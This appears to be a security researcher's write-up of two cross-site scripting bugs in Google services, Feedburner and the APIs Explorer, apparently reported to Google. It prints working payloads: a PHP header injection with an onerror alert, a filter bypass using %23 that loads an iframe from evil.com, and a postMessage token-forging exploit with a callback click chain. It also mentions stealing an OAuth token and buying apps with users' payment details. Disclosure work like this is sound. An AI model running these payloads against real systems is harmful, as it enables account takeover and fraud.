Story 1. The Little Content Type that Could
The vulnerability was found in Feedburner. First, I created a feed and tried to inject malicious data. No success there. Injected data just wouldn’t show up, only harmless links were presented. I took a few more attempts and then I found lots of messages from PodMedic. PodMedic examines links in every feed. If it finds troubles in creating a feed, it reports the cause of such troubles. The messages read that links are incorrect because the content type returned was a text type.
Hmm. Ok. I bet the content type on this page isn't filtered. A simple script for my server:
And here it is:<?php header('Content-Type: text/<img src=z onerror=alert(document.domain)>; charset=UTF-8'); ?>
Story 2. The Little Callback that Could
The Feedburner vulnerability was not satisfying. It was quite simple, actually. So I decided to try something else. APIs Explorer on developers.google.com caught my attention after some searching. Google’s APIs Explorer is a tool that helps you to explore various Google APIs interactively. Google also says that with the APIs Explorer, we can browse quickly through available APIs and versions, see methods available for each API and what parameters they support along with inline documentation and blah blah blah. In fact I was interested in cross-domain messaging based on postMessage. A link to the Google API that we are testing can be given in the Base parameter:
The Base parameter is filtered by certain regular expressions (not quite accurately though) but it is easy to bypass them using a %23 symbol:https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/
As a result, an iframe with src=evil.com is created and now we’re waiting for messages from it. Every message should have two tokens. First token is in window.name of the iframe, second is given in location.hash. I sniffed messages from https://webapis-discovery.appspot.com/_ah/api and wrote a page that would send the same messages with valid tokens. It worked nice, and I tried to inject some HTML data. No success though. I could change text, image locations but it would not be enough for XSS. There was a documentation link, the location of which could be changed. So I changed it to javascript:alert(document.domain) and it worked perfect. Still not enough. It required user interaction, but I really don't like it. Users never do what you want them to do (click that wrong link, for instance :) So I found a page on developers.google.com with the callback function (almost all developers think that callbacks are secure). I added redirection to this page with the callback ‘parent.document.links[0].click’ to my exploit after creating the documentation link via postMessage. (Symbols [ and ] were filtered, so actually the callback was as follows: document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling). Let’s try it:https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/
Done! Works fine and no need for user interaction. The exploit was as follows:And of course I made a cool screenshot ;)token_1 = location.hash.split('rpctoken=')[1]; token_2 = window.name; send_payload(data,token_1,token_2); window.setTimeout('document.location=callback_url;',3000); // Paused because of slow internet connection…
I liked that method of exploiting and tried to use it in other services. I used it to steal an OAuth token and to buy any app at Google Play using users’ payment details. Besides, the app could automatically be installed on user’s android device. The Google Security Team also liked that technique and they described it on OWASP AppSec Eu as Reverse Clickjacking.